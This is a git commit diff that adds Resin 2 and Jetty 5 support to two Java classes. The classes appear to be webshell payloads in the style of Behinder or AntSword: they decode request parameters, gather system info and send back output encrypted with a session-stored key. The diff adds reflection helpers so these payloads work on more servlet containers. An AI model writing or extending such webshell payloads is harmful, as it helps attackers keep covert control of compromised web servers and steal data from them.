feat: support resin2 and jetty5

This commit is contained in:
ReaJason
2026-07-04 02:59:43 +08:00
parent af4c8b1d63
commit 13312242e5
51 changed files with 3426 additions and 226 deletions
@@ -26,8 +26,8 @@ public class Info {
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
this.setCharacterEncoding(this.request, this.cs);
this.setCharacterEncoding(this.response, this.cs);
this.decoderClassdata = this.decode(this.request.getParameter(var5));
var2.append(this.SysInfoCode());
} catch (Exception var8) {
@@ -127,6 +127,14 @@ public class Info {
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}
void setCharacterEncoding(Object var1, String var2) {
try {
Method var3 = var1.getClass().getMethod("setCharacterEncoding", new Class[]{String.class});
var3.invoke(var1, new Object[]{var2});
} catch (Throwable ignored) {
}
}
public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");
@@ -147,4 +155,4 @@ public class Info {
return new byte[0];
}
}
}
}
@@ -41,11 +41,11 @@ public class Test {
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class);
Method write = getMethod(so, "write", new Class[]{byte[].class});
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
getMethod(so, "flush", new Class[0]).invoke(so);
getMethod(so, "close", new Class[0]).invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
@@ -53,6 +53,23 @@ public class Test {
return true;
}
private Method getMethod(Object obj, String methodName, Class[] parameterTypes) throws Exception {
Method method = null;
Class clazz = obj.getClass();
while (clazz != null && method == null) {
try {
method = clazz.getDeclaredMethod(methodName, parameterTypes);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
method = obj.getClass().getMethod(methodName, parameterTypes);
}
method.setAccessible(true);
return method;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");